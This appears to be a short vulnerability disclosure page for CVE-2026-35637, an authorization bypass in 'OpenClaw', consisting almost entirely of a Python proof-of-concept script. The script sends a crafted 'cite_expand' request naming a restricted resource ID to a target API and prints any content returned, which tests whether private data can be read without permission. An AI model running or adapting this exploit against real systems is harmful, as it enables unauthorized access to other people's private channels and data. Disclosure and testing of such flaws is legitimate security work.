CVE-2026-35637 OpenClaw 授权绕过漏洞

# PoC for CVE-2026-35637 # This script demonstrates the authorization bypass via premature cite expansion. import requests def exploit(target_url, restricted_id): headers = { "User-Agent": "CVE-2026-35637-Scanner" } # Payload attempting to trigger cite expansion on a restricted resource payload = { "action": "cite_expand", "resource_id": restricted_id } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Potential authorization bypass detected. Content: {response.text[:100]}") return True else: print(f"[-] Request failed with status code: {response.status_code}") return False except Exception as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": target = "http://localhost:8080/api/v1/message" resource = "private-channel-id-123" exploit(target, resource)